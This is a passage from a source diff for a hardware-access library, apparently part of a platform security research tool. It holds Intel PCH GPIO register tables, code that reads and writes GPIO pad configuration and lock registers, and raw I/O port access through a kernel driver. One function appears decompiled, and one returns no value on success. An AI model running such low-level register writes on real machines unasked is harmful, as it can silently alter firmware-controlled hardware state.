0x0FFFF, 0x0FFFF, 0x0FFFF, 0x0FFFF, 0x0A0, 0x0A4, 0x0C00, 0x0A }, +{0x6B, 0x20, 0x0B0, 0x0FFFF, 0x0FFFF, 0x0FFFF, 0x0FFFF, 0x0FFFF, 0x0FFFF, 0x0FFFF, 0x0FFFF, 0x80, 0x84, 0x700, 0x0F }, +{0x6B, 0x28, 0x0B4, 0x0FFFF, 0x0FFFF, 0x0FFFF, 0x0FFFF, 0x0FFFF, 0x0FFFF, 0x0FFFF, 0x0FFFF, 0x88, 0x8C, 0x7F0, 0x5B }, +}; + + +GPIO_GROUP_INFO mPchHGpioGroupInfo[] = { + { 0x6E, 0x20, 0xC0, 0x100, 0x120, 0x140, 0x160, 0x180, 0x1A0, 0x1C0, 0x1E0, 0x90, 0x94, 0x600, 0x19 }, + { 0x6E, 0x30, 0x0C4, 0x104, 0x124, 0x144, 0x164, 0x184, 0x1A4, 0x1C4, 0x1E4, 0x98, 0x9C, 0x790, 0x14 }, + { 0x6E, 0x3C, 0x0C8, 0x108, 0x128, 0x148, 0x168, 0x188, 0x1A8, 0x1C8, 0x1E8, 0x0A0, 0x0A4, 0x8D0, 0x18 }, + { 0x6E, 0x4C, 0x0CC, 0x10C, 0x12C, 0x14C, 0x16C, 0x18C, 0x1AC, 0x1CC, 0x1EC, 0x0A8, 0x0AC, 0x0A70, 0x8 }, + { 0x6D, 0x20, 0x0C0, 0x100, 0x120, 0x140, 0x160, 0x180, 0x1A0, 0x1C0, 0x1E0, 0x90, 0x94, 0x600, 0x18 }, + { 0x6D, 0x30, 0x0C4, 0x104, 0x124, 0x144, 0x164, 0x184, 0x1A4, 0x1C4, 0x1E4, 0x98, 0x9C, 0x7A0, 0x18 }, + { 0x6D, 0x3C, 0x0C8, 0x108, 0x128, 0x148, 0x168, 0x188, 0x1A8, 0x1C8, 0x1E8, 0x0A0, 0x0A4, 0x920, 0x8 }, + { 0x6D, 0x40, 0x0CC, 0x10C, 0x12C, 0x14C, 0x16C, 0x18C, 0x1AC, 0x1CC, 0x1EC, 0x0A8, 0x0AC, 0x9A0, 0x10 }, + { 0x6D, 0x4C, 0x0D0, 0x110, 0x130, 0x150, 0x170, 0x190, 0x1B0, 0x1D0, 0x1F0, 0x0B0, 0x0B4, 0x0AB0, 0x1B }, + { 0x6C, 0x20, 0x0C0, 0x100, 0x120, 0x140, 0x160, 0x180, 0x1A0, 0x1C0, 0x1E0, 0x90, 0x94, 0x600, 0x0D }, + { 0x6B, 0x20, 0x0C0, 0x100, 0x120, 0x140, 0x160, 0x180, 0x1A0, 0x1C0, 0x1E0, 0x90, 0x94, 0x600, 0x0D }, + { 0x6B, 0x28, 0x0C4, 0x104, 0x124, 0x144, 0x164, 0x184, 0x1A4, 0x1C4, 0x1E4, 0x98, 0x9C, 0x6D0, 0x18 }, + { 0x6B, 0x34, 0x0C8, 0x108, 0x124, 0x148, 0x168, 0x188, 0x1A8, 0x1C8, 0x1E8, 0x0A0, 0x0A4, 0x850, 0x54 }, // this one + { 0x6A, 0x20, 0x0C0, 0x100, 0x120, 0x140, 0x160, 0x180, 0x1A0, 0x1C0, 0x1E0, 0x90, 0x94, 0x600, 0x18 }, + { 0x6A, 0x2C, 0x0C4, 0x104, 0x124, 0x144, 0x164, 0x184, 0x1A4, 0x1C4, 0x1E4, 0x98, 0x9C, 0x780, 0x0A }, + { 0x6A, 0x34, 0x0C8, 0x108, 0x128, 0x148, 0x168, 0x188, 0x1A8, 0x1C8, 0x1E8, 0x0A0, 0x0A4, 0x820, 0x0C }, + { 0x69, 0x20, 0x0C0, 0x100, 0x120, 0x140, 0x160, 0x180, 0x1A0, 0x1C0, 0x1E0, 0x90, 0x94, 0x600, 0x0F }, + { 0x69, 0x28, 0x0C4, 0x104, 0x124, 0x144, 0x164, 0x184, 0x1A4, 0x1C4, 0x1E4, 0x98, 0x9C, 0x6F0, 0x9 }, + { 0x69, 0x30, 0x0C8, 0x108, 0x128, 0x148, 0x168, 0x188, 0x1A8, 0x1C8, 0x1E8, 0x0A0, 0x0A4, 0x780, 0x0E }, +}; + +//////////////////////////////////////////////////////////////////////////////// +//////////////////////////////////////////////////////////////////////////////// +//////////////////////////////////////////////////////////////////////////////// + +UINT16 GetLpcDID() { + UINT16 val = read_pci_dword(0, 31, 0, 0) >> 16; + //printf("LpcDid: %04x\n", val); + return val; +} + + + +int GetPchSeries() { + int result; + UINT16 lpc_did = GetLpcDID(); + if (lpc_did == 0x5180) { + return 5; + } else { + if (((lpc_did - 0x7A00) & 0xFFFFFF7F) != 0) { + result = -1; + } else { + result = 4; + } + } + return result; +} + +bool IsPchLp() { + int pch_ver = GetPchSeries(); + //printf("pch_ver: %08x\n", pch_ver); + return pch_ver == 2 || pch_ver == 5 || pch_ver == 6 || pch_ver == 3; +} + + +const GPIO_GROUP_INFO* GpioGetGroupInfoTable (UINT32 *GpioGroupInfoTableLength) +{ + if (IsPchLp()) { + *GpioGroupInfoTableLength = sizeof(mPchLpGpioGroupInfo)/sizeof(mPchLpGpioGroupInfo[0]); + return mPchLpGpioGroupInfo; + } else { + *GpioGroupInfoTableLength = sizeof(mPchHGpioGroupInfo)/sizeof(mPchHGpioGroupInfo[0]); + return mPchHGpioGroupInfo; + } +} + +UINT32 GpioGetNumberOfGroups() +{ + UINT32 GpioGroupInfoLength; + GpioGetGroupInfoTable (&GpioGroupInfoLength); + return GpioGroupInfoLength; +} + +GPIO_GROUP GpioGetGroupFromGpioPad (GPIO_PAD GpioPad) { + return GPIO_GET_GROUP_FROM_PAD (GpioPad); +} + +UINT32 GpioGetPadNumberFromGpioPad(GPIO_PAD GpioPad) { + return (UINT32) GPIO_GET_PAD_NUMBER (GpioPad); +} + +UINT32 GpioGetGroupIndexFromGroup(GPIO_GROUP GpioGroup) { + return (UINT32) GPIO_GET_GROUP_INDEX (GpioGroup); +} + + + +UINT32 GpioGetGroupIndexFromGpioPad (GPIO_PAD GpioPad) { + return (UINT32) GPIO_GET_GROUP_INDEX_FROM_PAD(GpioPad); +} + + +bool GpioIsCorrectPadForThisChipset(GPIO_PAD GpioPad) +{ + // (GPIO_GET_CHIPSET_ID (GpioPad) == GpioGetThisChipsetId ()) + return GpioGetGroupIndexFromGpioPad(GpioPad) < GpioGetNumberOfGroups(); +} + + +bool GpioIsPadValid (GPIO_PAD GpioPad) { + const GPIO_GROUP_INFO *GpioGroupInfo; + UINT32 GpioGroupInfoLength; + UINT32 PadNumber; + + if (!GpioIsCorrectPadForThisChipset (GpioPad)) { + printf("GPIO ERROR: Incorrect GpioPad (0x%08x) used on this chipset!\n", GpioPad); + goto Error; + } + + GpioGroupInfo = GpioGetGroupInfoTable (&GpioGroupInfoLength); + + // + // Check if legal pin number + // + PadNumber = GpioGetPadNumberFromGpioPad (GpioPad); + if (PadNumber >= GpioGroupInfo[GpioGetGroupIndexFromGpioPad (GpioPad)].PadPerGroup) { + printf("GPIO ERROR: Pin number (%d) exceeds possible range for this group\n", PadNumber); + goto Error; + } + + return true; +Error: + return false; +} + +bool GpioGetPadOwnership(GPIO_PAD GpioPad, GPIO_PAD_OWN *PadOwnVal) { + UINT32 Mask; + UINT32 RegOffset; + UINT32 GroupIndex; + UINT32 PadNumber; + const GPIO_GROUP_INFO *GpioGroupInfo; + UINT32 GpioGroupInfoLength; + UINT32 PadOwnRegValue; + + if (!GpioIsPadValid (GpioPad)) { + return false; + } + + GroupIndex = GpioGetGroupIndexFromGpioPad (GpioPad); + PadNumber = GpioGetPadNumberFromGpioPad (GpioPad); + + GpioGroupInfo = GpioGetGroupInfoTable (&GpioGroupInfoLength); + + // + // Calculate RegOffset using Pad Ownership offset and GPIO Pad number. + // One DWord register contains information for 8 pads. + // + RegOffset = GpioGroupInfo[GroupIndex].PadOwnOffset + (PadNumber >> 3) * 0x4; + + // + // Calculate pad bit position within DWord register + // + PadNumber %= 8; + Mask = (BIT1 | BIT0) << (PadNumber * 4); + + PadOwnRegValue = PchSbMmioRead32(GpioGroupInfo[GroupIndex].Community, RegOffset); + + *PadOwnVal = (GPIO_PAD_OWN) ((PadOwnRegValue & Mask) >> (PadNumber * 4)); + + return true; +} + + +bool GpioIsPadHostOwned (GPIO_PAD GpioPad) { + GPIO_PAD_OWN PadOwnVal; + + // + // Check if selected GPIO Pad is not owned by CSME/ISH + // If GPIO is not owned by Host all access to PadCfg will be dropped + // + GpioGetPadOwnership (GpioPad, &PadOwnVal); + if (PadOwnVal != GpioPadOwnHost) { + printf("GPIO ERROR: %08x is not owned by host!\n", GpioPad); + return false; + } + + return true; +} + +/** + This procedure will read GPIO Pad Configuration register + + @param[in] GpioPad GPIO pad + @param[in] DwReg Choose PADCFG register: 0:DW0, 1:DW1 + + @retval PadCfgRegValue PADCFG_DWx value +**/ + +UINT32 GpioReadPadCfgReg (GPIO_PAD GpioPad, UINT8 DwReg) { + UINT32 PadCfgReg; + const GPIO_GROUP_INFO *GpioGroupInfo; + UINT32 GpioGroupInfoLength; + UINT32 GroupIndex; + UINT32 PadNumber; + + GroupIndex = GpioGetGroupIndexFromGpioPad (GpioPad); + PadNumber = GpioGetPadNumberFromGpioPad (GpioPad); + + GpioGroupInfo = GpioGetGroupInfoTable (&GpioGroupInfoLength); + + // + // Create Pad Configuration register offset + // + PadCfgReg = GpioGroupInfo[GroupIndex].PadCfgOffset + S_GPIO_PCR_PADCFG * PadNumber + 0x4 * DwReg; + + return PchSbMmioRead32(GpioGroupInfo[GroupIndex].Community, PadCfgReg); +} + +void GpioWritePadCfgReg (GPIO_PAD GpioPad, UINT8 DwReg, UINT32 val) { + UINT32 PadCfgReg; + const GPIO_GROUP_INFO *GpioGroupInfo; + UINT32 GpioGroupInfoLength; + UINT32 GroupIndex; + UINT32 PadNumber; + + GroupIndex = GpioGetGroupIndexFromGpioPad (GpioPad); + PadNumber = GpioGetPadNumberFromGpioPad (GpioPad); + + GpioGroupInfo = GpioGetGroupInfoTable (&GpioGroupInfoLength); + + // + // Create Pad Configuration register offset + // + PadCfgReg = GpioGroupInfo[GroupIndex].PadCfgOffset + S_GPIO_PCR_PADCFG * PadNumber + 0x4 * DwReg; + + PchSbMmioWrite32(GpioGroupInfo[GroupIndex].Community, PadCfgReg, val); +} + + +// bool GpioIsDswGroup (GPIO_GROUP Group) { +// if ((Group == GPIO_CNL_LP_GROUP_GPD) || (Group == GPIO_CNL_H_GROUP_GPD)) { +// return TRUE; +// } else { +// return FALSE; +// } +// } + + UINT32 PadRstCfgTable1[] = {1, 3, 5, 9 }; + UINT32 PadRstCfgTable2[] = {7, 3, 5, 1 }; + +void GpioConfigFromPadCfgRegValue (GPIO_PAD GpioPad, const UINT32 *PadCfgDwReg, GPIO_CONFIG *GpioConfig) +{ + int v3; // er9@1 + int v4; // ecx@1 + int *v5; // r10@1 + UINT64 v6; // rax@1 + int v7; // edx@3 + unsigned int v8; // edx@5 + UINT64 result; // rax@7 + + UINT32 *GpioData = (UINT32 *) GpioConfig; + + v3 = *PadCfgDwReg; + v4 = GpioPad & 0xF1F0000; + v5 = (int *)PadCfgDwReg; + v6 = (unsigned int)*PadCfgDwReg >> 30; + if ( v4 == 151322624 || v4 == 134807552 ) + v7 = PadRstCfgTable2[v6]; + else + v7 = PadRstCfgTable1[v6]; + *((BYTE *)GpioConfig + 3) = v7; + v8 = v3 & 0x300 | *GpioData & 0xFF10E0FF | ((v3 & 0x1E0000 | ((v3 & 0x6000000 | 0x1080800u) >> 3)) >> 1); + if ((v3 & (1 << 9)) == 0) { + v8 |= ((v3 & 0x800000) >> 12) | 0x40000; + } + GpioData[1] = GpioData[1] & 0xFFC03E01; + result = v5[1] & 0x3C00; + GpioData[0] = v8 & 0xFFFFBFE1 | ((v3 & 1) << 14) | ((v3 & 0x1C00 | 0x400200u) >> 9); + GpioData[1] |= ((unsigned int)result | ((v3 & 0x10000000 | 0x8004000u) >> 5)) >> 9; +} + +// void GpioConfigFromPadCfgRegValue (GPIO_PAD GpioPad, const UINT32 *PadCfgDwReg, GPIO_CONFIG *GpioConfig) +// { +// UINT32 PadRstCfg; +// // +// // Get Reset Type (PadRstCfg) +// // +// PadRstCfg = (PadCfgDwReg[0] & B_GPIO_PCR_RST_CONF) >> N_GPIO_PCR_RST_CONF; + +// GpioConfig->PowerConfig = GpioResetConfigFromPadRstCfg ( +// GpioPad, +// PadRstCfg +// ); + +// // +// // Get how interrupt is triggered (RxEvCfg) +// // +// GpioConfig->InterruptConfig = ((PadCfgDwReg[0] & B_GPIO_PCR_RX_LVL_EDG) >> (N_GPIO_PCR_RX_LVL_EDG - (N_GPIO_INT_CONFIG_INT_TYPE_BIT_POS + 1))) | (0x1 << N_GPIO_INT_CONFIG_INT_TYPE_BIT_POS); + +// // +// // Get interrupt generation (GPIRoutIOxAPIC/SCI/SMI/NMI) +// // +// GpioConfig->InterruptConfig |= ((PadCfgDwReg[0] & (B_GPIO_PCR_RX_NMI_ROUTE | B_GPIO_PCR_RX_SCI_ROUTE | B_GPIO_PCR_RX_SMI_ROUTE | B_GPIO_PCR_RX_APIC_ROUTE)) >> (N_GPIO_PCR_RX_NMI_ROUTE - (N_GPIO_INT_CONFIG_INT_SOURCE_BIT_POS + 1))) | (0x1 << N_GPIO_INT_CONFIG_INT_SOURCE_BIT_POS); + +// // +// // Get GPIO direction (GPIORxDis and GPIOTxDis) +// // +// GpioConfig->Direction = ((PadCfgDwReg[0] & (B_GPIO_PCR_RXDIS | B_GPIO_PCR_TXDIS)) >> (N_GPIO_PCR_TXDIS - (N_GPIO_DIRECTION_DIR_BIT_POS + 1))) | (0x1 << N_GPIO_DIRECTION_DIR_BIT_POS); + +// // +// // Get GPIO input inversion (RXINV) +// // (Only meaningful if input enabled) +// // +// if((PadCfgDwReg[0] & B_GPIO_PCR_RXDIS) == 0) { +// GpioConfig->Direction |= ((PadCfgDwReg[0] & B_GPIO_PCR_RXINV) >> (N_GPIO_PCR_RXINV - (N_GPIO_DIRECTION_INV_BIT_POS + 1))) | (0x1 << N_GPIO_DIRECTION_INV_BIT_POS); +// } + +// // +// // Get GPIO output state (GPIOTxState) +// // +// GpioConfig->OutputState = ((PadCfgDwReg[0] & B_GPIO_PCR_TX_STATE) << (N_GPIO_PCR_TX_STATE + (N_GPIO_OUTPUT_BIT_POS + 1))) | (0x1 << N_GPIO_OUTPUT_BIT_POS); + +// // +// // Configure GPIO RX raw override to '1' (RXRAW1) +// // +// GpioConfig->OtherSettings = ((PadCfgDwReg[0] & B_GPIO_PCR_RX_RAW1) >> (N_GPIO_PCR_RX_RAW1 - (N_GPIO_OTHER_CONFIG_RXRAW_BIT_POS + 1))) | (0x1 << N_GPIO_OTHER_CONFIG_RXRAW_BIT_POS); + +// // +// // Get GPIO Pad Mode (PMode) +// // +// GpioConfig->PadMode = ((PadCfgDwReg[0] & B_GPIO_PCR_PAD_MODE) >> (N_GPIO_PCR_PAD_MODE - (N_GPIO_PAD_MODE_BIT_POS + 1))) | (0x1 << N_GPIO_PAD_MODE_BIT_POS); + +// // +// // Get GPIO termination (Term) +// // +// GpioConfig->ElectricalConfig = ((PadCfgDwReg[1] & B_GPIO_PCR_TERM) >> (N_GPIO_PCR_TERM - (N_GPIO_ELECTRICAL_CONFIG_TERMINATION_BIT_POS + 1))) | (0x1 << N_GPIO_ELECTRICAL_CONFIG_TERMINATION_BIT_POS); +// } + + +void GpioReadReg(GPIO_REG RegType, GPIO_GROUP Group, UINT32 DwNum, UINT32 *ReadVal) +{ + UINT32 RegOffset; + UINT32 GroupIndex; + const GPIO_GROUP_INFO *GpioGroupInfo; + UINT32 GpioGroupInfoLength; + + RegOffset = NO_REGISTER_FOR_PROPERTY; + GroupIndex = GpioGetGroupIndexFromGroup (Group); + + GpioGroupInfo = GpioGetGroupInfoTable (&GpioGroupInfoLength); + + switch (RegType) { + case GpioHostOwnershipRegister: + RegOffset = GpioGroupInfo[GroupIndex].HostOwnOffset; + break; + case GpioGpeEnableRegister: + RegOffset = GpioGroupInfo[GroupIndex].GpiGpeEnOffset; + break; + case GpioGpeStatusRegister: + RegOffset = GpioGroupInfo[GroupIndex].GpiGpeStsOffset; + break; + case GpioSmiEnableRegister: + RegOffset = GpioGroupInfo[GroupIndex].SmiEnOffset; + break; + case GpioSmiStatusRegister: + RegOffset = GpioGroupInfo[GroupIndex].SmiStsOffset; + break; + case GpioNmiEnableRegister: + RegOffset = GpioGroupInfo[GroupIndex].NmiEnOffset; + break; + case GpioPadConfigLockRegister: + RegOffset = GpioGroupInfo[GroupIndex].PadCfgLockOffset; + break; + case GpioPadLockOutputRegister: + RegOffset = GpioGroupInfo[GroupIndex].PadCfgLockTxOffset; + break; + default: + break; + } + + // + // Check if selected register exists + // + if (RegOffset == NO_REGISTER_FOR_PROPERTY) { + *ReadVal = 0; + printf("error: NO_REGISTER_FOR_PROPERTY\n"); + return; + } + + // + // If there are more then 32 pads per group then certain + // group information would be split into more then one DWord register. + // + if ((RegType == GpioPadConfigLockRegister) || (RegType == GpioPadLockOutputRegister)) { + // + // PadConfigLock and OutputLock registers when used for group containing more than 32 pads + // are not placed in a continuous way, e.g: + // 0x0 - PadConfigLock_DW0 + // 0x4 - OutputLock_DW0 + // 0x8 - PadConfigLock_DW1 + // 0xC - OutputLock_DW1 + // + RegOffset += DwNum * 0x8; + } else { + RegOffset += DwNum * 0x4; + } + + *ReadVal = PchSbMmioRead32(GpioGroupInfo[GroupIndex].Community, RegOffset); +} + + + +bool GpioGetPadConfig(GPIO_PAD GpioPad, GPIO_CONFIG *GpioData) { + + UINT32 PadCfgDwReg[GPIO_PADCFG_DW_REG_NUMBER]; + UINT32 RegVal; + GPIO_GROUP Group; + UINT32 PadNumber; + UINT32 PadBitPosition; + + Group = GpioGetGroupFromGpioPad (GpioPad); + PadNumber = GpioGetPadNumberFromGpioPad (GpioPad); + PadBitPosition = GPIO_GET_PAD_POSITION (PadNumber); + + debug_print("GPIO: Group:[%08x] - PadNumber:[%08x] - PadBitPosition:[%08x]\n", Group, PadNumber, PadBitPosition); + + if (!GpioIsPadValid (GpioPad)) { + return false; + } + + if (!GpioIsPadHostOwned (GpioPad)) { + return false; + } + + // + // Read PADCFG DW0 register + // + PadCfgDwReg[0] = GpioReadPadCfgReg (GpioPad, 0); + printf("DW0: %08x\n", PadCfgDwReg[0]); + + // + // Read PADCFG DW1 register + // + PadCfgDwReg[1] = GpioReadPadCfgReg (GpioPad, 1); + + // + // Read PADCFG DW2 register + // + PadCfgDwReg[2] = GpioReadPadCfgReg (GpioPad, 2); + + GpioConfigFromPadCfgRegValue ( + GpioPad, + PadCfgDwReg, + GpioData + ); + + // + // Read HOSTSW_OWN registers + // + GpioReadReg ( + GpioHostOwnershipRegister, + Group, + GPIO_GET_DW_NUM (PadNumber), + &RegVal + ); + + // + // Get Host Software Ownership + // + GpioData->HostSoftPadOwn = (((RegVal >> PadBitPosition) & 0x1) << (N_GPIO_HOSTSW_OWN_BIT_POS + 1)) | (0x1 << N_GPIO_HOSTSW_OWN_BIT_POS); + + // + // Read PADCFGLOCK register + // + GpioReadReg ( + GpioPadConfigLockRegister, + Group, + GPIO_GET_DW_NUM (PadNumber), + &RegVal + ); + + // + // Get Pad Configuration Lock state + // + GpioData->LockConfig = ((!((RegVal >> PadBitPosition) & 0x1)) << 1) | 0x1; + + // + // Read PADCFGLOCKTX register + // + GpioReadReg ( + GpioPadLockOutputRegister, + Group, + GPIO_GET_DW_NUM (PadNumber), + &RegVal + ); + + // + // Get Pad Configuration Lock Tx state + // + GpioData->LockConfig |= ((!((RegVal >> PadBitPosition) & 0x1)) << 2) | 0x1; + + return true; +} + + + + +/** + This procedure will check state of Pad Config Lock for selected pad + + @param[in] GpioPad GPIO pad + @param[out] PadCfgLock PadCfgLock for selected pad + 0: NotLocked, 1: Locked + +**/ +bool GpioGetPadCfgLock (GPIO_PAD GpioPad, UINT32 *PadCfgLock) { + UINT32 PadNumber; + UINT32 PadCfgLockRegVal; + + if (!GpioIsPadValid (GpioPad)) { + return false; + } + + PadNumber = GpioGetPadNumberFromGpioPad (GpioPad); + + GpioReadReg ( + GpioPadConfigLockRegister, + GpioGetGroupFromGpioPad (GpioPad), + GPIO_GET_DW_NUM (PadNumber), + &PadCfgLockRegVal + ); + + + *PadCfgLock = (PadCfgLockRegVal >> GPIO_GET_PAD_POSITION (PadNumber)) & 0x1; + + return true; +} + + +#define GPIO_GROUP_DEF(Index,ChipsetId) ((Index) | ((ChipsetId) << 8)) + + +UINT32 GpioGetThisChipsetId () { + if (IsPchLp()) { + return 9; + } else { + return 8; + } +} + + + + +GPIO_GROUP GpioGetGroupFromGroupIndex(UINT32 GroupIndex) { + return GPIO_GROUP_DEF (GroupIndex, GpioGetThisChipsetId()); +} + +GPIO_GROUP GpioGetHighestGroup () +{ + return GpioGetGroupFromGroupIndex (GpioGetNumberOfGroups () - 1); +} + + +GPIO_GROUP GpioGetLowestGroup () +{ + return GpioGetGroupFromGroupIndex(0); +} + + +bool GpioIsGroupAndDwNumValid(GPIO_GROUP Group, UINT32 DwNum) { + UINT32 GroupIndex; + const GPIO_GROUP_INFO *GpioGroupInfo; + UINT32 GpioGroupInfoLength; + + GpioGroupInfo = GpioGetGroupInfoTable (&GpioGroupInfoLength); + + GroupIndex = GpioGetGroupIndexFromGroup (Group); + + printf("GroupIndex: %08x\n", GroupIndex); + + if ((Group < GpioGetLowestGroup()) || (Group > GpioGetHighestGroup()) || (GroupIndex >= GpioGroupInfoLength)) { + printf("GPIO ERROR: Group argument (%d) is not within range of possible groups for this PCH\n", GroupIndex); + goto Error; + } + + // + // Check if DwNum argument does not exceed number of DWord registers + // resulting from available pads for certain group + // + if (DwNum > GPIO_GET_DW_NUM (GpioGroupInfo[GroupIndex].PadPerGroup - 1)){ + goto Error; + } + + return true; +Error: + return false; +} + + +/** + This procedure will clear PadCfgLock for selected pads within one group. + This function should be used only inside SMI. + + @param[in] Group GPIO group + @param[in] DwNum PadCfgLock register number for current group. + For group which has less then 32 pads per group DwNum must be 0. + @param[in] PadsToUnlock Bitmask for pads which are going to be unlocked, + Bit position - PadNumber + Bit value - 0: DoNotUnlock, 1: Unlock + + @retval EFI_SUCCESS The function completed successfully + @retval EFI_INVALID_PARAMETER Invalid group or pad number +**/ +bool GpioUnlockPadCfgForGroupDw ( + GPIO_GROUP Group, + UINT32 DwNum, + UINT32 PadsToUnlock + ) +{ + if (!GpioIsGroupAndDwNumValid (Group, DwNum)) { + printf("Invalid GpioIsGroupAndDwNumValid"); + return false; + } + + +// return GpioWriteLockReg ( +// GpioPadConfigLockRegister, +// Group, +// DwNum, +// ~PadsToUnlock, +// 0 +// ); +} + + +bool GpioUnlockPadCfg(GPIO_PAD GpioPad) +{ + GPIO_GROUP Group; + UINT32 PadNumber; + + Group = GpioGetGroupFromGpioPad (GpioPad); + PadNumber = GpioGetPadNumberFromGpioPad (GpioPad); + + return GpioUnlockPadCfgForGroupDw ( + Group, + GPIO_GET_DW_NUM (PadNumber), + 1 << GPIO_GET_PAD_POSITION (PadNumber) + ); +} + + +bool GpioGetPadCfgLockTx(GPIO_PAD GpioPad, UINT32 *PadCfgLockTx) { + UINT32 PadNumber; + UINT32 PadCfgLockTxRegVal; + + if (!GpioIsPadValid (GpioPad)) { + return false; + } + + PadNumber = GpioGetPadNumberFromGpioPad (GpioPad); + + GpioReadReg ( + GpioPadLockOutputRegister, + GpioGetGroupFromGpioPad (GpioPad), + GPIO_GET_DW_NUM (PadNumber), + &PadCfgLockTxRegVal + ); + + *PadCfgLockTx = (PadCfgLockTxRegVal >> GPIO_GET_PAD_POSITION (PadNumber)) & 0x1; + + return true; +} + + +void GpioWritePadCfgReg ( + GPIO_PAD GpioPad, + UINT8 DwReg, + UINT32 PadCfgAndMask, + UINT32 PadCfgOrMask + ) +{ + UINT32 PadCfgReg; + const GPIO_GROUP_INFO *GpioGroupInfo; + UINT32 GpioGroupInfoLength; + UINT32 GroupIndex; + UINT32 PadNumber; + UINT32 PadCfgLock; + UINT32 PadCfgLockTx; + + PadCfgLock = 0; + PadCfgLockTx = 0; + + // + // Check if Pad Configuration (except output state) is to be changed. + // If AND and OR masks will indicate that configuration fields (other than output control) + // are to be modified it means that there is a need to perform an unlock (if set) + // + if ((~PadCfgAndMask | PadCfgOrMask) & (UINT32)~B_GPIO_PCR_TX_STATE) { + GpioGetPadCfgLock(GpioPad, &PadCfgLock); + if (PadCfgLock) { + printf("Error: We cannot unlock PadCfgLock unless P2SB is not hidden (SecurePciSpace)\n"); + //GpioUnlockPadCfg (GpioPad); + } + } + + // + // Check if Pad Output state is to be changed + // If AND and OR masks will indicate that output control + // is to be modified it means that there is a need to perform an unlock (if set) + // + if ((~PadCfgAndMask | PadCfgOrMask) & B_GPIO_PCR_TX_STATE) { + GpioGetPadCfgLockTx (GpioPad, &PadCfgLockTx); + if (PadCfgLockTx) { + printf("Error: We cannot unlock PadCfgLockTx unless P2SB is not hidden (SecurePciSpace)\n"); + //GpioUnlockPadCfgTx (GpioPad); + } + } + + GroupIndex = GpioGetGroupIndexFromGpioPad (GpioPad); + PadNumber = GpioGetPadNumberFromGpioPad (GpioPad); + + GpioGroupInfo = GpioGetGroupInfoTable (&GpioGroupInfoLength); + + // + // Create Pad Configuration register offset + // + PadCfgReg = GpioGroupInfo[GroupIndex].PadCfgOffset + S_GPIO_PCR_PADCFG * PadNumber + 0x4 * DwReg; + + PchSbMmioAndThenOr32( + GpioGroupInfo[GroupIndex].Community, + PadCfgReg, + PadCfgAndMask, + PadCfgOrMask + ); +// if (PadCfgLock) { +// GpioLockPadCfg (GpioPad); +// } +// if (PadCfgLockTx) { +// GpioLockPadCfgTx (GpioPad); +// } +} + + +void GpioWrite(GPIO_PAD GpioPad, UINT8 val) { + + GpioWritePadCfgReg(GpioPad, 0, val & 0x1); +} \ No newline at end of file diff --git a/PlatboxLib/src/io.cpp b/PlatboxLib/src/io.cpp new file mode 100644 index 0000000..6951841 --- /dev/null +++ b/PlatboxLib/src/io.cpp @@ -0,0 +1,158 @@ +#include "_io.h" + +/* IO port operations */ + +UINT8 io_inb(UINT16 port) { + + IO_PORT_CALL io_call = {0}; + io_call.port = port; + io_call.size = IO_SIZE_BYTE; + + #ifdef __linux__ + int status = ioctl(g_hDevice, IOCTL_READ_IO_PORT, &io_call); + debug_print("Status: %08x - IOCTL_READ_IO_PORT\n", status); + #elif _WIN32 + + DWORD bytesReturned = 0; + NTSTATUS status = DeviceIoControl( + g_hDevice, + IOCTL_READ_IO_PORT, + &io_call, sizeof(io_call), + &io_call, sizeof(io_call), + &bytesReturned, + NULL + ); + + debug_print("Status: %08x - Error: %08x\n", status, GetLastError()); + #endif + + return (UINT8) io_call.data; +} + + + +UINT16 io_inw(UINT16 port) { + IO_PORT_CALL io_call = {0}; + io_call.port = port; + io_call.size = IO_SIZE_WORD; + + #ifdef __linux__ + int status = ioctl(g_hDevice, IOCTL_READ_IO_PORT, &io_call); + debug_print("Status: %08x - IOCTL_READ_IO_PORT\n", status); + #elif _WIN32 + + DWORD bytesReturned = 0; + NTSTATUS status = DeviceIoControl( + g_hDevice, + IOCTL_READ_IO_PORT, + &io_call, sizeof(io_call), + &io_call, sizeof(io_call), + &bytesReturned, + NULL + ); + + debug_print("Status: %08x bytes_returned: %08x - Error: %08x\n", status, bytesReturned, GetLastError()); + #endif + + return (UINT16) io_call.data; +} +UINT32 io_ind(UINT16 port) { + IO_PORT_CALL io_call = {0}; + io_call.port = port; + io_call.size = IO_SIZE_DWORD; + + #ifdef __linux__ + int status = ioctl(g_hDevice, IOCTL_READ_IO_PORT, &io_call); + debug_print("Status: %08x - IOCTL_READ_IO_PORT\n", status); + #elif _WIN32 + + DWORD bytesReturned = 0; + NTSTATUS status = DeviceIoControl( + g_hDevice, + IOCTL_READ_IO_PORT, + &io_call, sizeof(io_call), + &io_call, sizeof(io_call), + &bytesReturned, + NULL + ); + + debug_print("Status: %08x - Error: %08x\n", status, GetLastError()); + #endif + + return (UINT32) io_call.data; +} + +void io_outb(UINT16 port, UINT8 val) { + IO_PORT_CALL io_call = {0}; + io_call.port = port; + io_call.data = val; + io_call.size = IO_SIZE_BYTE; + + #ifdef __linux__ + int status = ioctl(g_hDevice, IOCTL_WRITE_IO_PORT, &io_call); + debug_print("Status: %08x - IOCTL_WRITE_IO_PORT\n", status); + #elif _WIN32 + + DWORD bytesReturned = 0; + NTSTATUS status = DeviceIoControl( + g_hDevice, + IOCTL_WRITE_IO_PORT, + &io_call, sizeof(io_call), + NULL, 0, + &bytesReturned, + NULL + ); + + debug_print("Status: %08x - Error: %08x\n", status, GetLastError()); + #endif +} + +void io_outw(UINT16 port, UINT16 val) { + IO_PORT_CALL io_call = {0}; + io_call.port = port; + io_call.data = val; + io_call.size = IO_SIZE_WORD; + + #ifdef __linux__ + int status = ioctl(g_hDevice, IOCTL_WRITE_IO_PORT, &io_call); + debug_print("Status: %08x - IOCTL_WRITE_IO_PORT\n", status); + #elif _WIN32 + + DWORD bytesReturned = 0; + NTSTATUS status = DeviceIoControl( + g_hDevice, + IOCTL_WRITE_IO_PORT, + &io_call, sizeof(io_call), + NULL, 0, + &bytesReturned, + NULL + ); + + debug_print("Status: %08x - Error: %08x\n", status, GetLastError()); + #endif +} + +void io_outd(UINT16 port, UINT32 val) { + IO_PORT_CALL io_call = {0}; + io_call.port = port; + io_call.data = val; + io_call.size = IO_SIZE_DWORD; + + #ifdef __linux__ + int status = ioctl(g_hDevice, IOCTL_WRITE_IO_PORT, &io_call); + debug_print("Status: %08x - IOCTL_WRITE_IO_PORT\n", status); + #elif _WIN32 + + DWORD bytesReturned = 0; + NTSTATUS status = DeviceIoControl( + g_hDevice, + IOCTL_WRITE_IO_PORT, + &io_call, 